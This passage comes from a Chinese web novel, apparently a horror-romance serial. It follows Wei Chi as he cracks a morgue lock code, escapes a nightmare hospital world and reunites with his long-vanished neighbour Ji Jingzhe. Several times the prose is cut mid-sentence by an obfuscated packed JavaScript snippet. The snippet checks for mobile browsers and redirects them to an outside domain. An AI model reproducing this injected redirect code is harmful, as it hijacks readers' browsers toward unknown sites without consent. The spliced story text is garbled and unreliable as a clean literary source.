那老头瞬间看向他,那眼神看得他心底一凉,但他还是扯出一个如常的笑脸:“那这样,叔,我们帮你锁,你先走,你先走吧。” 然后他听到元祁抖得都不成调了的声音:“远哥……锁……锁……” 他先低头看了看自己手上的锁,明明是上一秒才从老头手里抢过来的,却见手里哪有什么锁,只有一把头发,应该是女人的头发,长而卷,还有点潮湿。 “卧槽!”他惊叫一声,把头发一扔,有不少缠在他手上,没扔掉。接着他就感觉眼前有白光一闪,直接晃到了他的眼睛。 然后他听到了刀切入□□的声音。 他很讨厌这种声音。在卫校时,有一回学校请了什么名刀回来上公开课,他因为形象好被安排在第一排听讲。明明是讲怎么在手术中协助医生,结果名刀表现欲旺盛,展示了一整节课的下刀。名刀刀工精湛,又稳又狠,一刀下去就是很轻微的一声“噗嗤”,然后血流如注。那堂课他上得抓心挠肝,愣是没打成瞌睡。 再然后他摸到了血,温热的,腥咸的,随即一具身体倒在了他身上。 电光火石的一个瞬间,大概就是这个世界的时钟指针指向七点整的那一个瞬间,事情都变得不一样了——蔚远刚抢过的大锁变成了一把乱发,而真正的锁端端正正地锁住了太平间的门,那清洁工也在瞬间变成了青脸的怪物,从怀中摸出手术刀朝蔚远刺了过去。 而元祁,用后背帮蔚远挡了那一刀。 蔚远下意识接住元祁的身体,没站稳,两个人一起倒在地上。 蔚远抬起头,正看到他哥将针管从那清洁工的脖子上抽出来。 ——林富国曾经杀死过一个清洁工,这个也能杀。 清洁工转身朝蔚迟挥刀,蔚迟退了几步,脸上被划了个口子。手术刀光滑而锋利,反射着青白色的灯光一片雪亮。有好几下蔚迟都躲得险之又险,终于,那支毒药开始在清洁工的身体里起效。 清洁工倒在地上,开始疯狂地喘气,青筋暴起,青脸涨红变紫,很是骇人。 过了不到一分钟,没了动静。 蔚迟喘着粗气擦了擦脸上的血,走回蔚远和元祁身边。 蔚迟抱着元祁,仰起脸看他,眼泪刷地一下流下来:“哥……” 元祁面朝下趴在蔚远身上,已经出的气多进的气少,呼吸的声音非常嘈杂。蔚迟蹲下身查看元祁的伤口,在背上偏右一点,伤口倒是没出很多血,但这个深度,肯定是扎到了肺。 蔚迟把衣服脱下来卷成一团,按在伤口上,跟蔚远说:“按着。” 蔚远照做,又喊了一声哥。 元祁忽然小声地咳了几下,吐出很少一点血。他这时候倒是不哭了,蔚远听到他还笑了一下:“迟哥……我是不是……要死了?” “不会。”蔚迟揉了揉他的头发,“出去以后就没事了。” “骗子。”元祁说,“你怎么知道?” 蔚迟:“我就是知道。” 元祁还要说什么,被蔚远吼了回去:“你能不能少说两句!” 蔚迟站起来去看太平间门上的锁。那是一把蓝色的四位密码锁,很大,很重,暴力破坏肯定不行,必须猜出密码。 而且……必须今天猜出来。 元祁等不到明天了。 他试了试一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350159|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四十九这个时间,0149,错。 1349,错。 他又试了试上下午七点。 0707,错。 0719,错。 他接着又试了几个心内科医生的工号,都不对。 这时候,走廊远端传来了特制软底鞋的声音。 蔚迟想不到密码,急得一头汗,又分出了一部分精力去听脚步声,很遗憾,那声音越来越近了,还有一点滚轮的声音,大概是护士推着什么尸体朝他们这边来了。 蔚迟又胡乱试了几个密码,但他的心思已经不在这里了。 他开始思考负一层的地形,从电梯到这里……有几条岔路……有几个藏身的凹槽……时间差…… 现在跑,还跑得掉。 他回头看了元祁一眼,男孩似乎已经失去了意识,头偏着,嘴角一滴一滴往下滴血。 而蔚远这时候不知道怎么突然聪明了起来,看懂了他眼中的意思,抱着元祁往后退了一点,边哭边摇头:“哥……我不走。” 蔚迟轻声说:“我们三个都会死在这里。” 蔚远抹了一把脸:“你能救他!” 蔚迟恍惚间仿佛看到了那天晚上许白诗的脸,他不知道为什么这些人都对他有着这么莫名的信心…… “现在先走,明天还有时间找密码。”蔚迟说,“我还不能死在这里。” 元祁忽然抽搐了一下,像从噩梦中惊醒,眼睛艰难地眨动片刻,问道:“哥……我要死了吗?” 这次蔚迟没有回答。 元祁小声哭起来:“可我不想死,你救救我……哥……” 蔚迟狠狠捏了捏拳头,顿了一会儿,才说:“我就是个普通人,抱歉,救不了你了小元。” 元祁说:“可是你不普通啊哥。” 他的声音小得几乎听不见了,蔚迟凑近他:“什么?” 元祁已经到了某种听不进人话的状态,回光返照般地把想说的话一咕噜秃噜出来:“你叫我写遗书,说自己要等死……可让我拿这么多吃的干什么啊?你还准备了乌龟做活体实验……还、还带我们……杀医生……还……”声音越说越小,蔚远都觉得他就要这么死了。 “你根本就不普通啊……”这句话的音量倒是提了起来,元祁无知无觉,边哭边笑,“普通人应该会像我这样,一直哭吧……” 蔚远抱着元祁的头,又惨兮兮叫了蔚迟一声:“哥……” 蔚迟骂了句操,站起身又回到锁前。 他全神贯注,不再去听高跟鞋的声音,也不再思考逃生方法,大脑飞速转动,开始复盘来到医院之后的事情——杀人、挖心……心脏,指向了心内科……住院部,值班表……遵循值班时间表的医生……周迎春的胸牌……主任医师……值班表……值班表…… 蔚远把元祁放平,捡了清洁工的刀,走到拐角去,背贴着墙,等待。他帮不上什么忙,只能试试能不能在护士手底下拖一拖时间。 他捡刀的时候看到清洁工鼓鼓囊囊的胸口处漏出一个东西的边角,是非常少女的粉红色,像是个什么礼物,大概是要赶着下班去送给什么小女孩吧……孙女吗? 他在极致的紧张中漫无目的地想。 脚步声越来越近了。 他听到一声轻微的撞击声,像滑轮床转弯时撞到了墙角。 他不敢催蔚迟,回头看了一眼。 只见蔚迟忽然扑到元祁身边,从背包里翻出一个本子——蔚迟之前偷出来的,夹在丁云间的一本资料里的心内值班表——这一周心内科由丁云间一个主任医师值班。周一第一轮早班,周二第三轮午班,周三轮空,周四第四轮午班,周五第六轮晚班,周六第一轮早班,周日轮空。值班表只到这里。 今天是周四,从周四开始算起…… ——4610。 咔嗒。 门开了。 迎面一片白光。 蔚迟回头叫了蔚远一声,拖着元祁跳入了那片白光里。 18. 市二院18 被那阵极耀眼的白光包裹,蔚迟首先感觉到的是一阵眩晕。 然后世界逐渐变得清晰。 蔚迟眨了眨眼,意识到那刺眼的白光来自于穿过天井投下来的日光。那一定是一天中最当午的太阳,亮得简直能把人的眼睛刺瞎。 他听到声音,嘈杂而纷乱,从下方大厅的人群里热闹地升上来。身前身后都是人,脚下在动,他正站在扶手电梯上。身边的女孩正在讲电话,蔚迟记得她明明在事情刚开始的时候就被人挤下了电梯,从外侧掉了下去。 时间似乎回到了周二,他来给周迎春送资料的时候。 他掏出手机看时间,数字当着他的面跳到了一点五十。 这时一个电话打入,他下意识就接了起来。 纪惊蛰的声音隔着电话线,在那头显得很模糊,仍能听得出焦急:“蔚迟,蔚迟,是你吗?” 蔚迟被困在电梯上承受着日光的炙烤,整个人还是懵的,低低回答:“是。” “你在哪儿呢?”纪惊蛰说,“我到医院了!” “我在……”蔚迟看了看自己的楼层,“三楼到四楼的电梯上。” 纪惊蛰:“哪个电梯?” 蔚迟:“大厅这个,扶手电梯。” 纪惊蛰:“我马上上来,你到四楼等我。” 说完就挂了电话。 蔚迟站在原地发了几秒钟的呆,太阳穴有点疼,他晃了晃脑袋。 这时候旁边的女孩打完电话,他顺势就问:“劳驾,你还记得之前的事吗?” 女孩看了他一眼,问:“什么事?” “……医院发生的事。”蔚迟不知道怎么形容,他现在还很懵,没脑子去思考冒犯不冒犯,朝女孩身后努了努嘴,“你从那儿掉下去的事。” 女孩脸色一变,抓扶手的手紧了一点。警惕道:“你要干什么?” 蔚迟又按了按太阳穴:“抱歉。” 电梯到了四楼,蔚迟走到走廊上。他不知道纪惊蛰会从哪里上来,就站在旁边靠墙等。刚经历了那样的离奇事件,骤然回到现实世界,有点像梦中一脚踏空,猛然惊醒,心有余悸。 他掏出手机,下意识打开微信,和纪惊蛰的对话框在最上面,他点开,迅速浏览了一遍那些简短的消息。 【微笑柴】:迟迟,咱们今天去吃蜀九香吧 【微笑柴】:特辣 【微笑柴】:一人干他四碗冰粉粉 【微笑柴】:迟迟 【微笑柴】:到医院没有 【微笑柴】:见到阿姨了吗 【微笑柴】:迟迟 【微笑柴】:又不看手机机 【微笑柴】:「小猫嫌弃jpg」 【黑猫头】:到了 【黑猫头】:闭嘴 【黑猫头】:你在哪儿? 【黑猫头】:纪惊蛰 【黑猫头】:我好害怕 【黑猫头】:纪惊蛰 【黑猫头】:世界要完蛋了 【黑猫头】:我原谅你了 【黑猫头】:下不为例 全部发送成功。 他没等多久,就听到有人喊他的名字。他朝那个方向看去,纪惊蛰正向他飞奔而来。 纪惊蛰小时候生得瘦小,十六岁那年却跟吃了激素一样疯长,每天都腿疼,经常缠着要跟蔚迟一起睡,有些时候晚上都要疼醒。蔚迟给他换了十几种牌子的牛奶,订了一箱又一箱,压岁钱存的定期取不出来,穷得还向蔚远贷了款。 成果还是喜人,纪惊蛰在那一年猛蹿十几厘米,很快就超过了他,直逼一米九。 转眼间许多年过去了,纪惊蛰的身高没有再长,但气质已经天翻地覆,单薄和青涩从他生长过快的十六岁褪走,他已经完全长成了一个男人的样子,身高腿长,肩膀宽阔。他的发色和瞳色都略浅,五官深刻,多年浸染,整个人带着一种英伦大地的矜贵倨傲。 他今天显然精心打扮过了,暗红衬衣配西装裤,外罩一件米色风衣,左手大拇指包着纱布,在医院春光斜洒的走廊奔跑过来的样子,简直像在拍电影。 蔚迟一时间不知道用什么表情面对他。 而纪惊蛰也没让蔚迟因为这个问题烦恼太长时间,他跑近了,一把将蔚迟拥入怀中。 蔚迟怔了一会儿,说:“你来得好快。” 他现在才反应过来,如果说他在恐怖世界经历的那三天在这个世界只是一瞬间的话,那纪惊蛰也来得太快了,不是说还有十分钟才到医院吗?而且,纪惊蛰从一楼跑楼梯上的四楼,也很快。 纪惊蛰抱他的手又紧了紧,说:“嗯。” 纪惊蛰是他的邻居,三岁搬到他隔壁。他比纪惊蛰大一点,生在隆冬,而纪惊蛰生在来年仲春,惊蛰这一天。 两人说是邻居,基本就是兄弟,一起从幼儿园上到高中,天天同进同出。蔚迟跟纪惊蛰,比跟蔚远还亲得多。蔚迟八岁那年第一次打人,就是因为蔚远喊纪惊蛰矮婆娘。第二次打人,是因为纪惊蛰五年级的作文得了全市一等奖,题目是《住我隔壁的哑巴哥哥》。 十五岁,纪惊蛰的父母在车祸中去世,从此在蔚家蹭饭,蔚迟对他好得就更是没了边,又当哥又当妈,在能力范围内是无限度纵容。那时候的纪惊蛰瘦小而白净,软绵绵的一团,对蔚迟的好照单全收,没少在蔚远面前仗势欺人。 就这么好到十八岁,高考前夕,纪惊蛰忽然消失了。 蔚迟直接疯了,到处找人,又发传单又贴告示又发帖子又买热搜,轰轰烈烈很是闹了一阵,存了十多年的压岁钱砸了个精光,还找周迎春要了不少,要不是早保送进了科大少年班,估计高考都没心思去考。结果在网上闹得最沸腾的时候他接到纪惊蛰姑妈的一通电话,讲说你不要找他了,他去英国读书了,不想再见你了。 这一去五年,杳无音信。 蔚迟不是没有怀疑过纪惊蛰姑妈的话,但他当时刚刚成年,跟纪惊蛰在法律上根本没有关系,只是邻居而已,纪惊蛰把联系一断,他根本没有办法越过纪姑妈这个法定监护人去找。等他再长大一点,还去英国找过,也没找到。后来,甚至用过一点非法手段去查纪姑妈的账户,查到她的确每年会向英国汇去两笔款项,时间和金额都与留学费用大致符合。 他和纪惊蛰的过去紧紧交织在一起,基本上所有的朋友都是共同好友,而纪惊蛰竟然能从他的世界中消失得这么干净,要么是死了,要么是主动避开了所有联系。 他当然不能相信纪惊蛰死了,只能相信自己是个小丑。 他曾经发誓,纪惊蛰要是敢再出现在他面前,一定睬也不要睬一眼。 两周前,纪惊蛰真的出现了。 拖着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两个一起长大的男孩子,虽然时常勾肩搭背,但也少有这样面对面拥抱的时刻……上一次他们这样抱着的时候……还是十五岁那年。 瓢泼大雨中,在殡仪馆外的路灯下,纪惊蛰抱着父母的骨灰,像一只苍白的幽魂。他帮纪惊蛰把骨灰盒搬上车,回头把少年紧紧抱在怀里,就像纪惊蛰现在抱他这样紧。 他闻到纪惊蛰身上的气味,有他熟悉的味道,还有香味,这货是真长大了,现在还学会用香水了。 他知道自己在发抖,但他什么也不想解释,纪惊蛰也没问。 他侧过头,把脸更深地埋进了这个温暖的拥抱。 他其实有点疑惑,为什么纪惊蛰来得这么快、这么焦急、把他抱得这样紧,好像知道他刚刚经历过什么一样……可他刚从九死一生的恐怖世界中出来,他不想再思考了。 他抬起手抱住了纪惊蛰的后背,并且把身上的力气都卸到了纪惊蛰身上。 他知道这意味着什么,跟他在绝望中发出的最后两条消息说的一样:我原谅你了,下不为例。 他以为这两条消息永远不会送达,而事实上,它们在一分钟之内就突兀地躺在了纪惊蛰的微信框里。 他扯扯嘴角,算了,就这样吧。不然呢? 19. 市二院19 医院向来就是充满了生死悲欢的地界,两个男人的拥抱也并不奇怪。他们这样拥抱了很久,有人频频回头看他们,却不是觉得惊奇,而是想看看他们的脸,毕竟纪惊蛰的身高和打扮太过引人注目了。 过了一会儿,蔚迟觉得空幻的感觉渐渐消失,心落回肚子里,有力气处理在这个正常世界的事情了,便轻轻推开纪惊蛰:“我得去看看我妈。” 他们现在刚好就在四楼,直接就可以去找周迎春。 来到妇科五诊室门口,蔚迟盯着门,有点瑟缩。纪惊蛰扶了扶他的肩膀,他深吸了一口气,推开了门。 周迎春正趴在桌上睡觉,听到动静,迷迷糊糊抬起脸来:“唔……小迟?……几点了?” 她睡眼惺忪,眼底有青灰色的疲劳阴影,但肤色白里透红,很健康。 蔚迟几个箭步跨过去,绕开桌子,往周迎春面前一蹲,抱住她的腰,眼泪刷刷地流下来,像受极了委屈的小孩子,惨兮兮喊一声“妈”,都喊破了音。 周迎春手足无措地抱住他的头,有点着急,又有点好笑:“哎哟这是怎么啦?” 蔚迟把脸埋在她的肚子上,闻着她的味道,摇头,不说话。 “多大的人啦……还撒娇。”周迎春笑了两声,又揉了揉他的脑袋,然后忽然惊呼道,“哎呀!几点啦?你是不是忘给我拿资料了才跟这儿哭?我要开会了!” “一点五十五,还来得及。”纪惊蛰走到桌子前,把资料递给周迎春。刚刚他冲过去抱蔚迟的时候蔚迟的状态很恍惚,被他一抱,手里的东西掉地上了都没发现。他冲周迎春笑,乖巧地叫,“阿姨。” 周迎春看他一眼,把资料接过去,点点头:“小纪。” 蔚迟觉得周迎春叫纪惊蛰的时候,声音有点僵硬,态度非常疏离,心说真不愧是我妈,晓得跟亲儿子同仇敌忾。 周迎春又揉了揉蔚迟的头,凑近他道:“蔚小猪,到底怎么啦?” 蔚迟还是摇头,把她抱得更紧了。 周迎春想了想,说:“那你让妈妈打个电话,请个假。”她的手机在口袋里,口袋口被蔚迟勒着了。 蔚迟在她身上拱了拱,把眼泪鼻涕擦干净了,抬起头,冲她笑了笑:“不用,你开会去吧。” 周迎春歪着头观察了他一下:“你没事吗?” “没事。” “真没事?” “真的。”蔚迟站起身,把周迎春也拉起来,“你快去吧。” 周迎春又叮嘱道:“有什么事要跟妈妈讲哦。” 蔚迟:“知道啦。” 周迎春又跟纪惊蛰打了个招呼,就走了。 周迎春走后,屋子里又只剩他们两个人,一时间没有人说话。 灰尘漂浮在阳光下的空气里,说不出气氛是静谧还是尴尬。 门外忽然响起一阵鸡飞狗跳的奔跑声,随即诊室门被风风火火地推开,蔚远跌跌撞撞冲进来,大叫:“哥!” 蔚迟跟他对视一眼,了然:“你还记得?” “当然记得!吓死我了卧槽!我跳进太平间的时候差点被那怪物——卧槽矮婆娘?”蔚远的注意力很容易被吸引走,他注意到了纪惊蛰,话题顿时走远,瞪大眼睛一脸不可置信,“你竟然还敢回来?!” “迟迟……”纪惊蛰理都不理他,转头去跟蔚迟告状,“他喊我矮婆娘!” 蔚迟看神经病一样看了他一眼。 蔚远一声爆笑:“哈!你以为我哥还会护着你呐?想什么呢?我哥不掐死你都算好的啦!” 纪惊蛰可怜兮兮看着蔚迟,而蔚迟已经转过身去了,终于意识到自己现在是个什么位置的纪惊蛰转向蔚远,以189的身高睥睨道:“我是矮婆娘,你是什么?钻地鼠吗?” 堪堪长到180的蔚远:“……” 趁那两人在那儿斗嘴的功夫,蔚迟开始观察阳台上的小乌龟。刚刚周迎春叫了他的小名,让他想起了这茬事。 小乌龟四肢和头尾都软塌塌地搭在外面,已经死掉了。 这到底是…… 他正想得入神,蔚远喊了好几声他都没应,就凑上来拍他的肩膀:“哥,元祁怎么样了?” 蔚迟记得元祁说那天一点四十九的时候他正在二楼药房给女朋友拿药,转身往外走:“去看看。” 三人到二楼药房的时候刚两点出头,很容易就问到了情况——没多久之前药房外面昏过去了个小年轻,已经送去急救室了。 三人又赶到急救室去,看到病房里面果真是元祁,等医生出来后问情况,说是心脏骤停,幸好人正好就在医院,不然后果不堪设想。现在人还没醒,但已经脱离危险了。 蔚远跟着医生去办手续,垫付医药费。蔚迟和纪惊蛰就坐在病房外面等元祁的家属。 坐了一会儿,蔚迟感觉纪惊蛰拉住了他的手。 他想把手抽出来,但纪惊蛰拉得很紧,他低下头去看,发现自己的手在抖。 纪惊蛰问:“蔚迟,你到底怎么了?” 蔚迟沉默了一会儿,转头看向纪惊蛰,又看了他一会儿,说:“我以为你知道。” 纪惊蛰:“什么?” 蔚迟问:“你刚刚为什么抱我抱得那么紧?” “我、我……”纪惊蛰的眼珠转了几圈,是他编瞎话的时候的习惯性动作,“我知道你原谅我了,太高兴了!” 他那时候的反应根本就不是高兴,这一点蔚迟很确定:“我什么时候原谅你了?” 纪惊蛰掏出手机往蔚迟脸上一怼,“你可是白底黑字写给我了,说原谅我了!你要是不认账,我就把这些聊天记录打印下来、贴满大街小巷、昭告天下!” 蔚迟被他吵吵得头疼,同时又感到无力,不知道为什么,纪惊蛰开始对他撒谎。他侧过脸,不想再理纪惊蛰。 纪惊蛰还握着他的手没放开,过了一会儿,低低地说:“好吧……是因为你那个时候看起来……很害怕。” 蔚迟转回脸来看他。 他接着说:“我也很害怕……你就像,要飘走了一样。” 他这么说,蔚迟便又想起了殡仪馆外的那个雨天,十五岁的纪惊蛰……看起来,也像是要飘走了一样……便又心软了。 他在心底叹了口气,想,不管纪惊蛰怎么对他,至少他还是愿意对纪惊蛰全部坦诚的,只要纪惊蛰相信。 他们之间本没有秘密。 于是他说:“其实……我确实遇到了一些事情,非常离奇,说出来你也许会觉得我是个疯子。” “不会。”纪惊蛰看着他,颜色略浅的眼睛显得天真而真诚,“你说的事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在纪惊蛰的软磨硬泡下,蔚迟进了纪惊蛰的家门。事实上,他现在也的确不想一个人呆着。 纪惊蛰的大拇指还包得跟个粽子一样,笨手笨脚地冲了两碗方便面,加了两个有点糊的煎蛋,蔚迟那碗五分钟就被解决完,又吃了他半碗。 饭后蔚迟要回家洗漱,纪惊蛰怕他去了就不回来,一直跟着他。 洗完澡蔚迟被纪惊蛰又磨回了自己这边,蔚迟也没异议,在纪惊蛰的床上倒床就睡。 蔚迟理所当然又做了梦,梦到被变了鬼的周迎春追,蔚远在他旁边。他们没了命地跑,好不容易甩掉周迎春,下一秒他和蔚远又被关到铁柜里,他趴在门上的小孔往外看,身后的蔚远忽然握住了他的肩膀。 他一回头,撞上的是蔚远嘴角咧到耳根的笑脸。 蔚远把刀递进他心脏的一瞬间,他两腿一蹬,惊醒了。 入目是昏黄而温暖的灯光,一个人坐在床边,拉着他的手,还来摸他的额头。 “嘘,嘘,没事。”那个人的声音低沉而舒缓,“迟迟,没事,别怕。” 他剧烈地喘了几口气,在那个人的声音和触碰中渐渐平静。 他们的这两间房是那种老式的砖楼,医学院的家属院,上世纪的装修风格并未做改变——漆白的墙、碎花窗帘、红木家具、灯罩精美的小台灯会发出暗淡而温和的暖光。他们是两隔壁,房间结构一样,经常一起睡,很多时候一觉起来都分不清到底睡在谁家。 在这样仿佛穿越了时光的暖光中,他看着那人在逆光中微微模糊的轮廓,忽然生出了一股冲动,和委屈,脱口而出:“纪惊蛰,你这五年,到底干什么去了?” 20. 三青大学1 “纪惊蛰,你这五年,到底干什么去了?” 这句话问出来,蔚迟就有点后悔。 他刚醒,还有点懵,要搁在他清醒时,这话铁定是问不出口的——这事儿纪惊蛰不可能不知道他很在意,但打死不说,他难道还要苦苦追问?如果纪惊蛰想说,早就说了。 不过问都问了,也是真的想知道。 于是他就这么看着纪惊蛰。 纪惊蛰沉默了好一会儿,说:“其实我是……” 蔚迟的脑子彻底清醒过来,集中精神去听。 “成植物人了。”纪惊蛰说完。 蔚迟:“……”拳头硬了。 他翻了个身:“不想说就别说。但别骗我。” 纪惊蛰嘤嘤嘤:“人家没有骗你啦人家是真的……” 蔚迟:“闭嘴,睡着了。” 纪惊蛰:“哦。” 又过了一会儿,蔚迟感觉到身边窸窸窣窣的动静,纪惊蛰躺在了他的旁边。 他心里生气,同时又感觉到安全,这么气着气着,就睡着了。 蔚迟早上起来,已经十点半。春日的阳光在浅绿色碎花窗帘上映出清新的树影,还可以听到喜鹊的叽喳声。 好舒服的一觉。 蔚迟翻了个身,蹭了蹭枕头,感觉味道不大对,反应了一会儿才想起这是纪惊蛰的床。他把脸往枕头里又扎了扎,眯了十多分钟,坐起来。 想到昨晚的事,气得牙痒痒,又锤了那个枕头几拳。 然后他听到纪惊蛰委委屈屈的声音:“迟迟……” 他回过头,没好气:“干什么?” 纪惊蛰站在门口,围了条粉白格子的围裙,还有同色头巾,一只手拿着铲子,一只手拿着勺子,怂怂地说:“我听见你起来了……” 蔚迟:“所以?” 蔚迟有起床气,纪惊蛰非常清楚,低眉顺眼地小声道:“你要喝酸奶还是牛奶?” “牛奶。”蔚迟挑起一边眉毛,一脸嫌弃,“你这穿的什么玩意儿?” 纪惊蛰低头看了看自己身上的围裙,开始跑火车:“咱家的橱柜整体浅绿,地砖也跳了几格绿色,这种红是对比色,让整体更有时尚感。而且粉红色比较有家的温馨感觉,在我心爱的厨房里,可以让我有更平静愉悦的心情……” “行行行别念了。”蔚迟恶狠狠地说,“出去,我要穿衣服。” 纪惊蛰一边嘟囔着“什么没看过”一边回他心爱的厨房了。 蔚迟收拾完后坐到餐桌前,纪惊蛰端上他的爱心早餐。 全麦吐司夹煎蛋和火腿肠,面上还用巧克力画了一个歪歪斜斜的笑脸。 蔚迟中肯评价:“丑死了。” 纪惊蛰:“嘤。” 味道还成,两个人面对面吃了一会儿,纪惊蛰问:“迟迟,你今天是不是要去学校?我送你。” 蔚迟:“先不去,我导师下午有个讲座,我要去一趟。” “成。”纪惊蛰点点头,“那我也送你。” 蔚迟一边看着他,一边把牛奶喝光了,没拒绝。 蔚迟的导师受邀回高中母校发表一次演讲,他要跟着去端茶倒水加记录。他先回了一趟隔壁,值完夜班的周迎春正在补觉,他轻手轻脚换了衣服下楼,纪惊蛰的车已经等在门口。 纪惊蛰送他到了学校,等他下了车,跟他说回头见,还抛了个飞吻,笑得很欠揍。 这所高中是跟蔚迟读的高中是打得头破血流的竞争校,两个学校每次联考都要分个高矮胜负。明明也没过多久,但现在回忆起那时候的热血时光简直恍如隔世。 蔚迟来得早了点,站在操场旁的林荫道上看一群男孩子打篮球。 过了一会儿,收到导师的消息,问他在哪里,他说已经到了。一抬头,却见一个男孩正犹犹豫豫地打量他,他一眼就认出来,是胡天奇。然后顺着胡天奇看过去,许白诗和刘琴也跟在旁边,一人拿了一根冰棍,看来是午休时间。 跟蔚迟打了个对眼,胡天奇便也不犹豫了,走过来,问:“……蔚迟先生,您怎么在这里?” 蔚迟眯起眼打量他,不确定这个胡天奇是哪个阶段的胡天奇。 他回答:“我的导师今天在你们学校演讲,我过来帮忙。” “哦。好巧。”胡天奇的脸有点红,“沈教授是您的导师啊!” 蔚迟:“是的。” 胡天奇:“好厉害。” 蔚迟不知道怎么接话,又隐秘地看了许白诗和刘琴一眼,但因为两个女孩都在看他,一下就被发现了。他便顺势问道:“你们的核酸报告都拿到了吧?” 刘琴抢答:“拿到了。您还记得我们啊!” 蔚迟做出判断,他们是跟周莹一样,没有恐怖记忆的状态,是白天的“正常人”。 随即他又把这个想法赶出脑子——不应该再用那个离奇世界的眼光看这个世界。 他不是健谈的人,不知道话题怎么进行下去……又不明白为什么明明话题进行不下去了,这三个孩子还不走? 胡天奇一直低着头在原地磋磨,刘琴看不下去,撞了他一下,作为代表发言:“蔚迟先生,这家伙是你的粉丝,那个……上次没加上的微信这次能不能加上啊?” 蔚迟才想起,上回在医院里,他为了看胡天奇手机上的时间,答应了加微信的事情。 胡天奇红着脸说:“蔚先生,我真的很、很喜欢生物编程,我、我以后也会朝这个方向努力……可能、可能会需要咨询您一些问题……” 蔚迟看着这个年轻的男孩,笑了一下,掏出手机点出二维码:“加吧。” 胡天奇非常激动:“谢、谢谢您!” 加完以后,刘琴凑上来:“那我们也可以加一下吗?” 蔚迟不知道他有什么好加的,又不知道怎么拒绝女孩子,就让她扫了,许白诗也扫了。 他通过了三人的好友申请,把手机收起来,胡天奇又问他:“蔚先生……我、我能叫你哥吗?” 蔚迟无所谓:“行啊,我又没比你们大多少。” 胡天奇抱着手机心满意足地走了。 导师演讲完又做了现场答疑,弄完五点多了,又跟学校领导一起去吃饭,蔚迟作陪,晚上打车把导师送回家之后再回学校已经八点,打开宿舍门就看到一个招摇的红色行李箱,怎么看怎么熟悉。 门边一号床的室友孙永正在打LOL,刚死,跟他打了个招呼:“回来啦。” 他往里走了一步,刚要问这行李箱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孙永戴着耳机,听了一半,一声惊呼:“男朋友?!”吼完又加入一场团战,估计再没空听人话。 高求索对此反应为零,换好了衣服,拿上洗漱用品,AI似的走过来,冲纪惊蛰道:“借过。”就走了。 蔚迟早习惯了自己的奇葩室友,又跟纪惊蛰说:“你跟我说清楚。” 纪惊蛰:“我到咱学校来做讲师。” “讲师?”蔚迟惊得表情都裂了,“讲什么?” 不是他看不起纪惊蛰,只是三青大学是国内一流学府,哪怕是实习讲师的学历拿出来也至少是名校博士,且基本都是40+的行业大拿…… 纪惊蛰:“酿酒学。” 蔚迟张了张嘴,少有地卡了壳,发现自己对这个专业的了解程度仿佛是大海上的一叶孤舟,连纪惊蛰是不是在跑火车都分不出来了。 纪惊蛰把自己的工作证给他看:“别人有的专业,咱们也要有。” 蔚迟找回自己的声音:“你在英国学的?” 纪惊蛰:“昂。” 蔚迟:“哪个城市?” 纪惊蛰:“爱丁堡。” 蔚迟:“哪个学校?” 纪惊蛰:“赫瑞。” 蔚迟:“……你不是成植物人了吗?” 纪惊蛰:“……” 孙永终于打完了这把游戏,耳机一摘,加入聊天:“蔚迟蔚迟!刚没听见!男朋友的事,再讲讲!” 蔚迟:“讲什么讲?什么男朋友?他是来工作的!” 孙永:“卧槽!师生恋啊?” 21. 三青大学2 蔚迟真是懒得理孙永,正好周迎春来电,就出去接电话。 周迎春不太开心地说,院里转来了个疑难病患,周末要开会讨论,不能去看桃花了。 蔚迟安慰她说那下周去吧,她说下周花都谢了。 最后蔚迟答应她只要她调休时间出来,自己就是请假也陪她去,她才开心了一点。 挂电话之前,蔚迟还是问了一句:“妈,你还记得医院的事吗?” “什么事?”周迎春顿了一下,“是你抱着妈妈哭的事吗?你有什么事要跟妈妈讲吗?” 蔚迟:“没事……” 周迎春话锋一转,问:“是小纪的事吗?你俩现在是怎么个情况?妈妈肯定站在你这一边的,你不喜欢,我少跟他讲话。” 纪惊蛰回来之后就住他们隔壁,和周迎春也碰见过几次,还帮她提过东西,也买过几次礼品上门。其实周迎春也是看着纪惊蛰长大的,纪惊蛰父母去世后,对他更多了几分疼爱怜惜,虽然不至于把纪惊蛰当儿子疼,怎么也是干儿子级别。 蔚迟道:“不用,他……反正我没什么喜不喜欢的,你就跟以前一样对他就行。” “行。”周迎春说,“那等调休表出来了妈妈给你打电话。” 蔚迟:“好。” 走进宿舍,孙永已经又开了一把游戏,但抽空对他竖了个大拇指:“原来是‘兄弟’啊!” 蔚迟瞥了纪惊蛰一眼,那货吹着口哨端着洗脸盆洗漱去了,天晓得怎么跟孙永编排的。 两天后,蔚远打来电话说元祁出院了,想请蔚迟吃个饭。 蔚迟做了一下午实验,跟他们约在学校后面的小吃街,过去还迟到了十多分钟。 一见面元祁就软软叫他一声“迟哥”,蔚迟看一眼就晓得,元祁也没忘。 元祁和蔚远坐在一边,蔚迟坐在他们对面,坐近了一看,元祁眼睛还红红的,便问道:“怎么刚哭了?” 